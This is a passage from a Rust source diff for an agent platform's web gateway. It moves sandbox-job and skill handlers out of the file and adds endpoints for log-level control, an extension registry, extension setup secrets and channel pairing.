let store = state.store.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Database not available".to_string(), - ))?; - - // Fetch sandbox jobs scoped to the authenticated user. - let sandbox_jobs = store - .list_sandbox_jobs_for_user(&state.user_id) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - - // Scope jobs to the authenticated user. - let mut jobs: Vec = sandbox_jobs - .iter() - .filter(|j| j.user_id == state.user_id) - .map(|j| { - let ui_state = match j.status.as_str() { - "creating" => "pending", - "running" => "in_progress", - s => s, - }; - JobInfo { - id: j.id, - title: j.task.clone(), - state: ui_state.to_string(), - user_id: j.user_id.clone(), - created_at: j.created_at.to_rfc3339(), - started_at: j.started_at.map(|dt| dt.to_rfc3339()), - } - }) - .collect(); - - // Most recent first. - jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at)); - - Ok(Json(JobListResponse { jobs })) -} - -async fn jobs_summary_handler( - State(state): State>, -) -> Result, (StatusCode, String)> { - let store = state.store.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Database not available".to_string(), - ))?; - - let s = store - .sandbox_job_summary_for_user(&state.user_id) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - - Ok(Json(JobSummaryResponse { - total: s.total, - pending: s.creating, - in_progress: s.running, - completed: s.completed, - failed: s.failed + s.interrupted, - stuck: 0, - })) -} - -async fn jobs_detail_handler( - State(state): State>, - Path(id): Path, -) -> Result, (StatusCode, String)> { - let job_id = Uuid::parse_str(&id) - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - // Try sandbox job from DB first, scoped to the authenticated user. - if let Some(ref store) = state.store - && let Ok(Some(job)) = store.get_sandbox_job(job_id).await - { - if job.user_id != state.user_id { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - let browse_id = std::path::Path::new(&job.project_dir) - .file_name() - .map(|n| n.to_string_lossy().to_string()) - .unwrap_or_else(|| job.id.to_string()); - - let ui_state = match job.status.as_str() { - "creating" => "pending", - "running" => "in_progress", - s => s, - }; - - let elapsed_secs = job.started_at.map(|start| { - let end = job.completed_at.unwrap_or_else(chrono::Utc::now); - (end - start).num_seconds().max(0) as u64 - }); - - // Synthesize transitions from timestamps. - let mut transitions = Vec::new(); - if let Some(started) = job.started_at { - transitions.push(TransitionInfo { - from: "creating".to_string(), - to: "running".to_string(), - timestamp: started.to_rfc3339(), - reason: None, - }); - } - if let Some(completed) = job.completed_at { - transitions.push(TransitionInfo { - from: "running".to_string(), - to: job.status.clone(), - timestamp: completed.to_rfc3339(), - reason: job.failure_reason.clone(), - }); - } - - return Ok(Json(JobDetailResponse { - id: job.id, - title: job.task.clone(), - description: String::new(), - state: ui_state.to_string(), - user_id: job.user_id.clone(), - created_at: job.created_at.to_rfc3339(), - started_at: job.started_at.map(|dt| dt.to_rfc3339()), - completed_at: job.completed_at.map(|dt| dt.to_rfc3339()), - elapsed_secs, - project_dir: Some(job.project_dir.clone()), - browse_url: Some(format!("/projects/{}/", browse_id)), - job_mode: { - let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten(); - mode.filter(|m| m != "worker") - }, - transitions, - })); - } - - Err((StatusCode::NOT_FOUND, "Job not found".to_string())) -} - -async fn jobs_cancel_handler( - State(state): State>, - Path(id): Path, -) -> Result, (StatusCode, String)> { - let job_id = Uuid::parse_str(&id) - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - // Try sandbox job cancellation, scoped to the authenticated user. - if let Some(ref store) = state.store - && let Ok(Some(job)) = store.get_sandbox_job(job_id).await - { - if job.user_id != state.user_id { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - if job.status == "running" || job.status == "creating" { - // Stop the container if we have a job manager. - if let Some(ref jm) = state.job_manager - && let Err(e) = jm.stop_job(job_id).await - { - tracing::warn!(job_id = %job_id, error = %e, "Failed to stop container during cancellation"); - } - store - .update_sandbox_job_status( - job_id, - "failed", - Some(false), - Some("Cancelled by user"), - None, - Some(chrono::Utc::now()), - ) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - } - return Ok(Json(serde_json::json!({ - "status": "cancelled", - "job_id": job_id, - }))); - } - - Err((StatusCode::NOT_FOUND, "Job not found".to_string())) -} - -async fn jobs_restart_handler( - State(state): State>, - Path(id): Path, -) -> Result, (StatusCode, String)> { - let store = state.store.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Database not available".to_string(), - ))?; - let jm = state.job_manager.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Sandbox not enabled".to_string(), - ))?; - - let old_job_id = Uuid::parse_str(&id) - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - let old_job = store - .get_sandbox_job(old_job_id) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? - .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; - - // Scope to the authenticated user. - if old_job.user_id != state.user_id { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - - if old_job.status != "interrupted" && old_job.status != "failed" { - return Err(( - StatusCode::CONFLICT, - format!("Cannot restart job in state '{}'", old_job.status), - )); - } - - // Create a new job with the same task and project_dir. - let new_job_id = Uuid::new_v4(); - let now = chrono::Utc::now(); - - let record = crate::history::SandboxJobRecord { - id: new_job_id, - task: old_job.task.clone(), - status: "creating".to_string(), - user_id: old_job.user_id.clone(), - project_dir: old_job.project_dir.clone(), - success: None, - failure_reason: None, - created_at: now, - started_at: None, - completed_at: None, - credential_grants_json: old_job.credential_grants_json.clone(), - }; - store - .save_sandbox_job(&record) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - - // Look up the original job's mode so the restart uses the same mode. - let mode = match store.get_sandbox_job_mode(old_job_id).await { - Ok(Some(m)) if m == "claude_code" => crate::orchestrator::job_manager::JobMode::ClaudeCode, - _ => crate::orchestrator::job_manager::JobMode::Worker, - }; - - // Restore credential grants from the original job so the restarted container - // has access to the same secrets. - let credential_grants: Vec = - serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| { - tracing::warn!( - job_id = %old_job.id, - "Failed to deserialize credential grants from stored job: {}. \ - Restarted job will have no credentials.", - e - ); - vec![] - }); - - let project_dir = std::path::PathBuf::from(&old_job.project_dir); - let _token = jm - .create_job( - new_job_id, - &old_job.task, - Some(project_dir), - mode, - credential_grants, - ) - .await - .map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Failed to create container: {}", e), - ) - })?; - - store - .update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - - Ok(Json(serde_json::json!({ - "status": "restarted", - "old_job_id": old_job_id, - "new_job_id": new_job_id, - }))) -} - -// --- Claude Code prompt and events handlers --- - -/// Submit a follow-up prompt to a running Claude Code sandbox job. -async fn jobs_prompt_handler( - State(state): State>, - Path(id): Path, - Json(body): Json, -) -> Result, (StatusCode, String)> { - let prompt_queue = state.prompt_queue.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Claude Code not configured".to_string(), - ))?; - - let job_id: uuid::Uuid = id - .parse() - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - // Verify user owns this job. - if let Some(ref store) = state.store - && !store - .sandbox_job_belongs_to_user(job_id, &state.user_id) - .await - .unwrap_or(false) - { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - - let content = body - .get("content") - .and_then(|v| v.as_str()) - .ok_or(( - StatusCode::BAD_REQUEST, - "Missing 'content' field".to_string(), - ))? - .to_string(); - - let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false); - - let prompt = crate::orchestrator::api::PendingPrompt { content, done }; - - { - let mut queue = prompt_queue.lock().await; - queue.entry(job_id).or_default().push_back(prompt); - } - - Ok(Json(serde_json::json!({ - "status": "queued", - "job_id": job_id.to_string(), - }))) -} - -/// Load persisted job events for a job (for history replay on page open). -async fn jobs_events_handler( - State(state): State>, - Path(id): Path, -) -> Result, (StatusCode, String)> { - let store = state.store.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Database not available".to_string(), - ))?; - - let job_id: uuid::Uuid = id - .parse() - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - // Verify user owns this job. - if !store - .sandbox_job_belongs_to_user(job_id, &state.user_id) - .await - .unwrap_or(false) - { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - - let events = store - .list_job_events(job_id, None) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - - let events_json: Vec = events - .into_iter() - .map(|e| { - serde_json::json!({ - "id": e.id, - "event_type": e.event_type, - "data": e.data, - "created_at": e.created_at.to_rfc3339(), - }) - }) - .collect(); - - Ok(Json(serde_json::json!({ - "job_id": job_id.to_string(), - "events": events_json, - }))) -} - -// --- Project file handlers for sandbox jobs --- - -#[derive(Deserialize)] -struct FilePathQuery { - path: Option, -} - -async fn job_files_list_handler( - State(state): State>, - Path(id): Path, - Query(query): Query, -) -> Result, (StatusCode, String)> { - let store = state.store.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Database not available".to_string(), - ))?; - - let job_id = Uuid::parse_str(&id) - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - let job = store - .get_sandbox_job(job_id) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? - .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; - - // Verify user owns this job. - if job.user_id != state.user_id { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - - let base = std::path::PathBuf::from(&job.project_dir); - let rel_path = query.path.as_deref().unwrap_or(""); - let target = base.join(rel_path); - - // Path traversal guard. - let canonical = target - .canonicalize() - .map_err(|_| (StatusCode::NOT_FOUND, "Path not found".to_string()))?; - let base_canonical = base - .canonicalize() - .map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?; - if !canonical.starts_with(&base_canonical) { - return Err((StatusCode::FORBIDDEN, "Forbidden".to_string())); - } - - let mut entries = Vec::new(); - let mut read_dir = tokio::fs::read_dir(&canonical) - .await - .map_err(|_| (StatusCode::NOT_FOUND, "Cannot read directory".to_string()))?; - - while let Ok(Some(entry)) = read_dir.next_entry().await { - let name = entry.file_name().to_string_lossy().to_string(); - let is_dir = entry - .file_type() - .await - .map(|ft| ft.is_dir()) - .unwrap_or(false); - let rel = if rel_path.is_empty() { - name.clone() - } else { - format!("{}/{}", rel_path, name) - }; - entries.push(ProjectFileEntry { - name, - path: rel, - is_dir, - }); - } - - entries.sort_by(|a, b| b.is_dir.cmp(&a.is_dir).then_with(|| a.name.cmp(&b.name))); - - Ok(Json(ProjectFilesResponse { entries })) -} - -async fn job_files_read_handler( - State(state): State>, - Path(id): Path, - Query(query): Query, -) -> Result, (StatusCode, String)> { - let store = state.store.as_ref().ok_or(( - StatusCode::SERVICE_UNAVAILABLE, - "Database not available".to_string(), - ))?; - - let job_id = Uuid::parse_str(&id) - .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; - - let job = store - .get_sandbox_job(job_id) - .await - .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? - .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; - - // Verify user owns this job. - if job.user_id != state.user_id { - return Err((StatusCode::NOT_FOUND, "Job not found".to_string())); - } - - let path = query.path.as_deref().ok_or(( - StatusCode::BAD_REQUEST, - "path parameter required".to_string(), - ))?; - - let base = std::path::PathBuf::from(&job.project_dir); - let file_path = base.join(path); - - let canonical = file_path - .canonicalize() - .map_err(|_| (StatusCode::NOT_FOUND, "File not found".to_string()))?; - let base_canonical = base - .canonicalize() - .map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?; - if !canonical.starts_with(&base_canonical) { - return Err((StatusCode::FORBIDDEN, "Forbidden".to_string())); - } - - let content = tokio::fs::read_to_string(&canonical) - .await - .map_err(|_| (StatusCode::NOT_FOUND, "Cannot read file".to_string()))?; - - Ok(Json(ProjectFileReadResponse { - path: path.to_string(), - content, - })) -} - +// Job handlers moved to handlers/jobs.rs // --- Logs handlers --- async fn logs_events_handler( State(state): State>, -) -> Result< - Sse> + Send + 'static>, - (StatusCode, String), -> { +) -> Result { let broadcaster = state.log_broadcaster.as_ref().ok_or(( StatusCode::SERVICE_UNAVAILABLE, "Log broadcaster not available".to_string(), @@ -1592,25 +1348,60 @@ async fn logs_events_handler( let history_stream = futures::stream::iter(history).map(|entry| { let data = serde_json::to_string(&entry).unwrap_or_default(); - Ok(Event::default().event("log").data(data)) + Ok::<_, Infallible>(Event::default().event("log").data(data)) }); let live_stream = tokio_stream::wrappers::BroadcastStream::new(rx) .filter_map(|result| result.ok()) .map(|entry| { let data = serde_json::to_string(&entry).unwrap_or_default(); - Ok(Event::default().event("log").data(data)) + Ok::<_, Infallible>(Event::default().event("log").data(data)) }); let stream = history_stream.chain(live_stream); - Ok(Sse::new(stream).keep_alive( - KeepAlive::new() - .interval(std::time::Duration::from_secs(30)) - .text(""), + Ok(( + [("X-Accel-Buffering", "no"), ("Cache-Control", "no-cache")], + Sse::new(stream).keep_alive( + KeepAlive::new() + .interval(std::time::Duration::from_secs(30)) + .text(""), + ), )) } +async fn logs_level_get_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let handle = state.log_level_handle.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Log level control not available".to_string(), + ))?; + Ok(Json(serde_json::json!({ "level": handle.current_level() }))) +} + +async fn logs_level_set_handler( + State(state): State>, + Json(body): Json, +) -> Result, (StatusCode, String)> { + let handle = state.log_level_handle.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Log level control not available".to_string(), + ))?; + + let level = body + .get("level") + .and_then(|v| v.as_str()) + .ok_or((StatusCode::BAD_REQUEST, "missing 'level' field".to_string()))?; + + handle + .set_level(level) + .map_err(|e| (StatusCode::BAD_REQUEST, e))?; + + tracing::info!("Log level changed to '{}'", handle.current_level()); + Ok(Json(serde_json::json!({ "level": handle.current_level() }))) +} + // --- Extension handlers --- async fn extensions_list_handler( @@ -1622,20 +1413,53 @@ async fn extensions_list_handler( ))?; let installed = ext_mgr - .list(None) + .list(None, false) .await .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + let pairing_store = crate::pairing::PairingStore::new(); let extensions = installed .into_iter() - .map(|ext| ExtensionInfo { - name: ext.name, - kind: ext.kind.to_string(), - description: ext.description, - url: ext.url, - authenticated: ext.authenticated, - active: ext.active, - tools: ext.tools, + .map(|ext| { + let activation_status = if ext.kind == crate::extensions::ExtensionKind::WasmChannel { + Some(if ext.activation_error.is_some() { + "failed".to_string() + } else if !ext.authenticated { + // No credentials configured yet. + "installed".to_string() + } else if ext.active { + // Check pairing status for active channels. + let has_paired = pairing_store + .read_allow_from(&ext.name) + .map(|list| !list.is_empty()) + .unwrap_or(false); + if has_paired { + "active".to_string() + } else { + "pairing".to_string() + } + } else { + // Authenticated but not yet active. + "configured".to_string() + }) + } else { + None + }; + ExtensionInfo { + name: ext.name, + display_name: ext.display_name, + kind: ext.kind.to_string(), + description: ext.description, + url: ext.url, + authenticated: ext.authenticated, + active: ext.active, + tools: ext.tools, + needs_setup: ext.needs_setup, + has_auth: ext.has_auth, + activation_status, + activation_error: ext.activation_error, + version: ext.version, + } }) .collect(); @@ -1666,10 +1490,30 @@ async fn extensions_install_handler( State(state): State>, Json(req): Json, ) -> Result, (StatusCode, String)> { - let ext_mgr = state.extension_manager.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Extension manager not available (secrets store required)".to_string(), - ))?; + // When extension manager isn't available, check registry entries for a helpful message + let Some(ext_mgr) = state.extension_manager.as_ref() else { + // Look up the entry in the catalog to give a specific error + if let Some(entry) = state.registry_entries.iter().find(|e| e.name == req.name) { + let msg = match &entry.source { + crate::extensions::ExtensionSource::WasmBuildable { .. } => { + format!( + "'{}' requires building from source. \ + Run `ironclaw registry install {}` from the CLI.", + req.name, req.name + ) + } + _ => format!( + "Extension manager not available (secrets store required). \ + Configure DATABASE_URL or a secrets backend to enable installation of '{}'.", + req.name + ), + }; + return Ok(Json(ActionResponse::fail(msg))); + } + return Ok(Json(ActionResponse::fail( + "Extension manager not available (secrets store required)".to_string(), + ))); + }; let kind_hint = req.kind.as_deref().and_then(|k| match k { "mcp_server" => Some(crate::extensions::ExtensionKind::McpServer), @@ -1682,7 +1526,34 @@ async fn extensions_install_handler( .install(&req.name, req.url.as_deref(), kind_hint) .await { - Ok(result) => Ok(Json(ActionResponse::ok(result.message))), + Ok(result) => { + let mut resp = ActionResponse::ok(result.message); + + // Auto-activate WASM tools after install (install = active). + if result.kind == crate::extensions::ExtensionKind::WasmTool { + if let Err(e) = ext_mgr.activate(&req.name).await { + tracing::debug!( + extension = %req.name, + error = %e, + "Auto-activation after install failed" + ); + } + + // Check auth after activation. This may initiate OAuth both for scope + // expansion and for first-time auth when credentials are already + // configured (e.g., built-in providers). We only surface an auth_url + // when the extension reports it is awaiting authorization. + match ext_mgr.auth(&req.name, None).await { + Ok(auth_result) if auth_result.auth_url().is_some() => { + // Scope expansion or initial OAuth: user needs to authorize + resp.auth_url = auth_result.auth_url().map(String::from); + } + _ => {} + } + } + + Ok(Json(resp)) + } Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), } } @@ -1697,7 +1568,19 @@ async fn extensions_activate_handler( ))?; match ext_mgr.activate(&name).await { - Ok(result) => Ok(Json(ActionResponse::ok(result.message))), + Ok(result) => { + // Activation loaded the WASM module. Check if the tool needs + // OAuth scope expansion (e.g., adding google-docs when gmail + // already has a token but missing the documents scope). + // Initial OAuth setup is triggered via save_setup_secrets. + let mut resp = ActionResponse::ok(result.message); + if let Ok(auth_result) = ext_mgr.auth(&name, None).await + && auth_result.auth_url().is_some() + { + resp.auth_url = auth_result.auth_url().map(String::from); + } + Ok(Json(resp)) + } Err(activate_err) => { let err_str = activate_err.to_string(); let needs_auth = err_str.contains("authentication") @@ -1710,7 +1593,7 @@ async fn extensions_activate_handler( // Activation failed due to auth; try authenticating first. match ext_mgr.auth(&name, None).await { - Ok(auth_result) if auth_result.status == "authenticated" => { + Ok(auth_result) if auth_result.is_authenticated() => { // Auth succeeded, retry activation. match ext_mgr.activate(&name).await { Ok(result) => Ok(Json(ActionResponse::ok(result.message))), @@ -1721,13 +1604,13 @@ async fn extensions_activate_handler( // Auth in progress (OAuth URL or awaiting manual token). let mut resp = ActionResponse::fail( auth_result - .instructions - .clone() + .instructions() + .map(String::from) .unwrap_or_else(|| format!("'{}' requires authentication.", name)), ); - resp.auth_url = auth_result.auth_url; - resp.awaiting_token = Some(auth_result.awaiting_token); - resp.instructions = auth_result.instructions; + resp.auth_url = auth_result.auth_url().map(String::from); + resp.awaiting_token = Some(auth_result.is_awaiting_token()); + resp.instructions = auth_result.instructions().map(String::from); Ok(Json(resp)) } Err(auth_err) => Ok(Json(ActionResponse::fail(format!( @@ -1771,11 +1654,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response(); } - let base = dirs::home_dir() - .unwrap_or_else(|| std::path::PathBuf::from(".")) - .join(".ironclaw") - .join("projects") - .join(project_id); + let base = ironclaw_base_dir().join("projects").join(project_id); let file_path = base.join(path); @@ -1818,249 +1697,169 @@ async fn extensions_remove_handler( } } -// --- Skills handlers --- - -async fn skills_list_handler( +async fn extensions_registry_handler( State(state): State>, -) -> Result, (StatusCode, String)> { - let registry = state.skill_registry.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Skills system not enabled".to_string(), - ))?; + Query(params): Query, +) -> Json { + let query = params.query.unwrap_or_default(); + let query_lower = query.to_lowercase(); + let tokens: Vec<&str> = query_lower.split_whitespace().collect(); - let guard = registry.read().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Skill registry lock poisoned: {}", e), - ) - })?; - - let skills: Vec = guard - .skills() - .iter() - .map(|s| super::types::SkillInfo { - name: s.manifest.name.clone(), - description: s.manifest.description.clone(), - version: s.manifest.version.clone(), - trust: s.trust.to_string(), - source: format!("{:?}", s.source), - keywords: s.manifest.activation.keywords.clone(), - }) - .collect(); - - let count = skills.len(); - Ok(Json(super::types::SkillListResponse { skills, count })) -} - -async fn skills_search_handler( - State(state): State>, - Json(req): Json, -) -> Result, (StatusCode, String)> { - let registry = state.skill_registry.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Skills system not enabled".to_string(), - ))?; - - let catalog = state.skill_catalog.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Skill catalog not available".to_string(), - ))?; - - // Search ClawHub catalog - let catalog_results = catalog.search(&req.query).await; - let catalog_json: Vec = catalog_results - .into_iter() - .map(|e| { - serde_json::json!({ - "slug": e.slug, - "name": e.name, - "description": e.description, - "version": e.version, - "score": e.score, - }) - }) - .collect(); - - // Search local skills - let query_lower = req.query.to_lowercase(); - let installed: Vec = { - let guard = registry.read().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Skill registry lock poisoned: {}", e), - ) - })?; - guard - .skills() + // Filter registry entries by query (or return all if empty) + let matching: Vec<&crate::extensions::RegistryEntry> = if tokens.is_empty() { + state.registry_entries.iter().collect() + } else { + state + .registry_entries .iter() - .filter(|s| { - s.manifest.name.to_lowercase().contains(&query_lower) - || s.manifest.description.to_lowercase().contains(&query_lower) - }) - .map(|s| super::types::SkillInfo { - name: s.manifest.name.clone(), - description: s.manifest.description.clone(), - version: s.manifest.version.clone(), - trust: s.trust.to_string(), - source: format!("{:?}", s.source), - keywords: s.manifest.activation.keywords.clone(), + .filter(|e| { + let name = e.name.to_lowercase(); + let display = e.display_name.to_lowercase(); + let desc = e.description.to_lowercase(); + tokens.iter().any(|t| { + name.contains(t) + || display.contains(t) + || desc.contains(t) + || e.keywords.iter().any(|k| k.to_lowercase().contains(t)) + }) }) .collect() }; - Ok(Json(super::types::SkillSearchResponse { - catalog: catalog_json, - installed, - registry_url: catalog.registry_url().to_string(), - })) + // Cross-reference with installed extensions by (name, kind) to avoid + // false positives when the same name exists as different kinds. + let installed: std::collections::HashSet<(String, String)> = + if let Some(ext_mgr) = state.extension_manager.as_ref() { + ext_mgr + .list(None, false) + .await + .unwrap_or_default() + .into_iter() + .map(|ext| (ext.name, ext.kind.to_string())) + .collect() + } else { + std::collections::HashSet::new() + }; + + let entries = matching + .into_iter() + .map(|e| { + let kind_str = e.kind.to_string(); + RegistryEntryInfo { + name: e.name.clone(), + display_name: e.display_name.clone(), + installed: installed.contains(&(e.name.clone(), kind_str.clone())), + kind: kind_str, + description: e.description.clone(), + keywords: e.keywords.clone(), + version: e.version.clone(), + } + }) + .collect(); + + Json(RegistrySearchResponse { entries }) } -async fn skills_install_handler( +async fn extensions_setup_handler( State(state): State>, - headers: axum::http::HeaderMap, - Json(req): Json, -) -> Result, (StatusCode, String)> { - // Require explicit confirmation header to prevent accidental installs. - // Chat tools have requires_approval(); this is the equivalent for the web API. - if headers - .get("x-confirm-action") - .and_then(|v| v.to_str().ok()) - != Some("true") - { - return Err(( - StatusCode::BAD_REQUEST, - "Skill install requires X-Confirm-Action: true header".to_string(), - )); - } - - let registry = state.skill_registry.as_ref().ok_or(( + Path(name): Path, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( StatusCode::NOT_IMPLEMENTED, - "Skills system not enabled".to_string(), + "Extension manager not available (secrets store required)".to_string(), ))?; - let content = if let Some(ref raw) = req.content { - raw.clone() - } else if let Some(ref url) = req.url { - // Fetch from explicit URL (with SSRF protection) - crate::tools::builtin::skill_tools::fetch_skill_content(url) - .await - .map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))? - } else if let Some(ref catalog) = state.skill_catalog { - let url = crate::skills::catalog::skill_download_url(catalog.registry_url(), &req.name); - crate::tools::builtin::skill_tools::fetch_skill_content(&url) - .await - .map_err(|e| (StatusCode::BAD_GATEWAY, e.to_string()))? - } else { - return Ok(Json(ActionResponse::fail( - "Provide 'content' or 'url' to install a skill".to_string(), - ))); - }; - - // Parse, check duplicates, and get user_dir under a brief read lock. - let (user_dir, skill_name_from_parse) = { - let guard = registry.read().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Skill registry lock poisoned: {}", e), - ) - })?; - - let normalized = crate::skills::normalize_line_endings(&content); - let parsed = crate::skills::parser::parse_skill_md(&normalized) - .map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))?; - let skill_name = parsed.manifest.name.clone(); - - if guard.has(&skill_name) { - return Ok(Json(ActionResponse::fail(format!( - "Skill '{}' already exists", - skill_name - )))); - } - - (guard.user_dir().to_path_buf(), skill_name) - }; - - // Perform async I/O (write to disk, load) with no lock held. - let normalized = crate::skills::normalize_line_endings(&content); - let (skill_name, loaded_skill) = - crate::skills::registry::SkillRegistry::prepare_install_to_disk( - &user_dir, - &skill_name_from_parse, - &normalized, - ) + let secrets = ext_mgr + .get_setup_schema(&name) .await .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - // Commit: brief write lock for in-memory addition - let mut guard = registry.write().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Skill registry lock poisoned: {}", e), - ) - })?; + let kind = ext_mgr + .list(None, false) + .await + .ok() + .and_then(|list| list.into_iter().find(|e| e.name == name)) + .map(|e| e.kind.to_string()) + .unwrap_or_default(); - match guard.commit_install(&skill_name, loaded_skill) { - Ok(()) => Ok(Json(ActionResponse::ok(format!( - "Skill '{}' installed", - skill_name - )))), + Ok(Json(ExtensionSetupResponse { + name, + kind, + secrets, + })) +} + +async fn extensions_setup_submit_handler( + State(state): State>, + Path(name): Path, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Extension manager not available (secrets store required)".to_string(), + ))?; + + match ext_mgr.save_setup_secrets(&name, &req.secrets).await { + Ok(result) => { + // Broadcast auth_completed so the chat UI can dismiss any in-progress + // auth card or setup modal that was triggered by tool_auth/tool_activate. + state.sse.broadcast(SseEvent::AuthCompleted { + extension_name: name.clone(), + success: true, + message: result.message.clone(), + }); + let mut resp = ActionResponse::ok(result.message); + resp.activated = Some(result.activated); + resp.auth_url = result.auth_url; + Ok(Json(resp)) + } Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), } } -async fn skills_remove_handler( - State(state): State>, - headers: axum::http::HeaderMap, - Path(name): Path, -) -> Result, (StatusCode, String)> { - // Require explicit confirmation header to prevent accidental removals. - if headers - .get("x-confirm-action") - .and_then(|v| v.to_str().ok()) - != Some("true") - { - return Err(( - StatusCode::BAD_REQUEST, - "Skill removal requires X-Confirm-Action: true header".to_string(), - )); - } +// --- Pairing handlers --- - let registry = state.skill_registry.as_ref().ok_or(( - StatusCode::NOT_IMPLEMENTED, - "Skills system not enabled".to_string(), - ))?; - - // Validate removal under a brief read lock - let skill_path = { - let guard = registry.read().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Skill registry lock poisoned: {}", e), - ) - })?; - guard - .validate_remove(&name) - .map_err(|e| (StatusCode::BAD_REQUEST, e.to_string()))? - }; - - // Delete files from disk (async I/O, no lock held) - crate::skills::registry::SkillRegistry::delete_skill_files(&skill_path) - .await +async fn pairing_list_handler( + Path(channel): Path, +) -> Result, (StatusCode, String)> { + let store = crate::pairing::PairingStore::new(); + let requests = store + .list_pending(&channel) .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - // Remove from in-memory registry under a brief write lock - let mut guard = registry.write().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - format!("Skill registry lock poisoned: {}", e), - ) - })?; + let infos = requests + .into_iter() + .map(|r| PairingRequestInfo { + code: r.code, + sender_id: r.id, + meta: r.meta, + created_at: r.created_at, + }) + .collect(); - match guard.commit_remove(&name) { - Ok(()) => Ok(Json(ActionResponse::ok(format!( - "Skill '{}' removed", - name + Ok(Json(PairingListResponse { + channel, + requests: infos, + })) +} + +async fn pairing_approve_handler( + Path(channel): Path, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let store = crate::pairing::PairingStore::new(); + match store.approve(&channel, &req.code) { + Ok(Some(approved)) => Ok(Json(ActionResponse::ok(format!( + "Pairing approved for sender '{}'", + approved.id )))), + Ok(None) => Ok(Json(ActionResponse::fail( + "Invalid or expired pairing code".to_string(), + ))), + Err(crate::pairing::PairingStoreError::ApproveRateLimited) => Err(( + StatusCode::TOO_MANY_REQUESTS, + "Too many failed approve attempts; try again later".to_string(), + )), Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), } } @@ -2076,7 +1875,7 @@ async fn routines_list_handler( ))?; let routines = store - .list_routines(&state.user_id) + .list_all_routines() .await .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; @@ -2094,7 +1893,7 @@ async fn routines_summary_handler( ))?; let routines = store - .list_routines(&state.user_id) + .list_all_routines() .await .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; @@ -2186,47 +1985,35 @@ async fn routines_trigger_handler( State(state): State>, Path(id): Path, ) -> Result, 